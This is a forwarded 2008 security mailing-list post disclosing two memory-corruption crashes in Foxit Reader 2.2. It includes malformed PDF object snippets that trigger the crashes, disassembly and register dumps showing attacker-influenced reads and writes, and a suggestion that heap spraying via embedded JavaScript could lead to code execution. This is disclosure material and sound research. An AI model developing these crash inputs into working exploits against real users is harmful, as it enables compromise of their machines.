Foxit Reader 2.2 two potentially exploitable bugs

以下消息来自幻影论坛[Ph4nt0m]邮件组

 

 

-----邮件原件-----
发件人: [email protected] [mailto: [email protected]]
代表 [email protected]
发送时间: 2008年4月16日 20:26
收件人: [email protected]
主题: Foxit Reader 2.2 two potentially exploitable bugs

Hi all,


I would like to post here some

problems that i found in Foxit

Reader 2.2 software.


I sent to the company support

two depthly detailed descriptions

about these bugs with both pdfs

causing them. The answer

from the company was:


"Hello.

 

Both Foxit Reader and Adobe Reader cannot open the files you send us.

These files have been damaged.

Thanks much."


I downloaded the foxit reader 2.2

software today to test the pdf

files again. The crashses continue

there. The company seems to be not

very interested on these reports.

I hope these descriptions that

i will post here was interesting

for anyone.


Analysis 1:

-----------

[url]http://www.vallejo.cc/proyectos/foxitreader1.htm[/url]


Autor: Javier Vicente Vallejo

Web: [url]www.vallejo.cc[/url]


Abstract


Foxit Reader 2.2 is prone to a

vulnerability when a malformed

pdf is parsed.


Affcted versions


Tested with Foxit Reader 2.2,

Windows XP Media Center Sp2.


Analysis


The vulnerability occurs when

a malformed /ExtGState resource

is parsed. In this case the ExtGState

resource was supplanted with a /Font

resource, but the type of the resource

continued being ExtGState:


261 0 obj

<</Type /Page /Parent 126 0 R /MediaBox [0 0 259 408 ]/CropBox [0 0 531 666
]/Resources <</ProcSet [/PDF /Text] /ExtGState <</R7 7 0 R>>>> /Contents [20
0 R]>>

endobj


7 0 obj

<</FirstChaaa 1

/Type /Funt /FontDescriptor 23 0 R

/BaseFont /xxxxxxxxxxxxxxxxoman,Italic

/Subtype /TrueType

/Encoding /WinAnsiEncoding

/LaitChar 211

/Wodths [ ]

>>

endobj


23 0 obj

<</zzz9�E /oooooo>>

endobj


Under these conditions it seems Foxit

allocates differents structures waiting

to complete that memory with the content

of the /ExtGState resource. However

when it finds fields associated with

a /Font resource, it tries to parse

them anyway, and it completes the memory

for that structures with incorrect

data. This situation occurs because some

functions (mainly the one located at

address 0x4d1ed0) are common functions

to parse any type of field for any type

of resource. So, when some fields of

a /Font dictionary are found under

a /ExtGState resource, the fields are

read and interpreted, and the allocated

structures are filled with incorrect data.


This facts cause different errors in

the execution. For example, this code:

 

004A6E04 C74424 04 000000>MOV DWORD PTR SS:[ESP+4],0

004A6E0C 0F84 9A000000 JE foxit_re.004A6EAC

004A6E12 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8]

004A6E15 48 DEC EAX

004A6E16 83F8 08 CMP EAX,8

004A6E19 0F87 8D000000 JA foxit_re.004A6EAC

004A6E1F FF2485 BC6E4A00 JMP DWORD PTR DS:[EAX*4+4A6EBC]


The instruction mov eax,[ecx+8].

Ecx+8 should contain a valid pointer,

but the content of that memory is the

 value of the first name of the

 dictionary of the object 23 0 obj.

 We can control this value so we

 can control [ecx+8], for example.


Modifying this dictionary name

with different values we find

crashes and invalid access at

different EIP. For example with

names with length under 8, it

uses the last bytes of the name

as a pointer at EIP = 0x4A6EE7.

With larger names it completes

the structure in a different

way and the behaviour is

different.


23 0 obj

<</zzzzzzz /oooooo>>

endobj


004A6EE7 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8]

004A6EEA 83E8 02 SUB EAX,2

004A6EED 74 23 JE SHORT foxit_re.004A6F12

004A6EEF 83E8 07 SUB EAX,7

004A6EF2 75 14 JNZ SHORT foxit_re.004A6F08

004A6EF4 8B41 14 MOV EAX,DWORD PTR DS:[ECX+14]

004A6EF7 8B49 10 MOV ECX,DWORD PTR DS:[ECX+10]

004A6EFA 50 PUSH EAX

004A6EFB E8 20200000 CALL foxit_re.004A8F20


The code involved in this

vulnerability is complex, lot of

FPU and mathematical operations,

etc... It is difficult to find

correct values to exploit the

vulnerability, however i think

it is possible to exploit it by

choosing some appropiated values

for the input dictionaries and

using heap spraying to facilitate

the shellcode execution (heap

spraying could be possible using

javascript embedded into the own

pdf file. The supplied pdf file

uses javascript with some /Annots

events so we can do heap spraying

before the crash occured).


Analysis 2:

-----------

[url]http://www.vallejo.cc/proyectos/foxitreader2.htm[/url]


Autor: Javier Vicente Vallejo

Web: [url]www.vallejo.cc[/url]


Abstract


Foxit Reader 2.2 is prone to a

vulnerability when a malformed

pdf is parsed.


Affcted versions


Tested with Foxit Reader 2.2,

Windows XP Media Center Sp2.


Analysis


The vulnerability occurs when a

page with a malformed /XObject

resource is rotated (it works

if we add the /Rotate field

to the page too).


4 0 obj

<< /Type /Page

/Parent 3 0 R

/Rotate 170

/Contents [ 25 0 R ]

/Resources <<

/ProcSet [ /PDF /Text /ImageB /ImageC ]

/XObject <</Im23 23 0 R>>/Font << /TT3 33 0 R >>>>

>>

endobj


23 0 obj

<</Length 11643/Filter/DCTDecode/Width -28986631481/Height
5/BitsPerComponent
8/ColorSpace/DeviceRGB/Type/#6eject/Name/?#4825#6#25n#00?6e#6en#25n#72?#402;
?25n　#r3/Subtype/Image>>

stream

........................

endstream

endobj


 

By modifying the values of width

and height fields, Foxit performs

invalid write memory access to

different memory addresses:


For example,

At EIP=51b896, width=-28986631481, height=5:


0051B88F 8B4C24 20 MOV ECX,DWORD PTR SS:[ESP+20]

0051B893 83C4 04 ADD ESP,4

0051B896 89443E 08 MOV DWORD PTR DS:[ESI+EDI+8],EAX
(eax=0x0,esi=0x10c7fd8,edi=0x26f0020)

0051B89A 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10]

0051B89E 43 INC EBX

0051B89F 83C1 04 ADD ECX,4


At EIP=0x51b799, witdth=-87146603762, height=5:


0051B799 8937 MOV DWORD PTR DS:[EDI],ESI

0051B79B 7E 08 JLE SHORT FOXITR~1.0051B7A5

0051B79D 8977 04 MOV DWORD PTR DS:[EDI+4],ESI

0051B7A0 E9 1C010000 JMP FOXITR~1.0051B8C1

0051B7A5 DB4424 14 FILD DWORD PTR SS:[ESP+14]


...

witdth=-87146603762 EIP=51b799 write->4994e93c eax=0 ecx=c1a4027f
edx=f5a60633 ebx=12efd0 esp=12ef18 ebp=12ef74 esi=0 edi=4994e93c

witdth=-69826555658 EIP=51b799 write->a82df00 eax=0 ecx=c181027f
edx=fdc5c868 ebx=12efd0 esp=12ef18 ebp=12ef74 esi=0 edi=a82df00

witdth=-56992150114 EIP=51b799 write->16a509d8 eax=0 ecx=c194027f
edx=fac27dcc ebx=13efd0 esp=13ef18 ebp=13ef74 esi=0 edi=16a509d8

witdth=-65571130766 EIP=51b799 write->1419ad20 eax=0 ecx=c192027f
edx=fb62d4f6 ebx=13efd0 esp=13ef18 ebp=13ef74 esi=0 edi=1419ad20

witdth=-28986631481 EIP=51b896 write->37b8000 eax=0 ecx=10c7fd8 edx=0
ebx=431ff6 esp=13ef18 ebp=13ef74 esi=10c7fd8 edi=26f0020

witdth=-87146603762 EIP=51b799 write->497cd994 eax=0 ecx=c1a4027f
edx=f5ac0a15 ebx=13efd0 esp=13ef18 ebp=13ef74 esi=0 edi=497cd994

...



With paimei framework and a py

script for randomizing the witdth,

i have got multiple invalid read

and write operations to completely

different memory addresses.


I have not exploited the vulnerability

yet, but it seems possible to exploit it.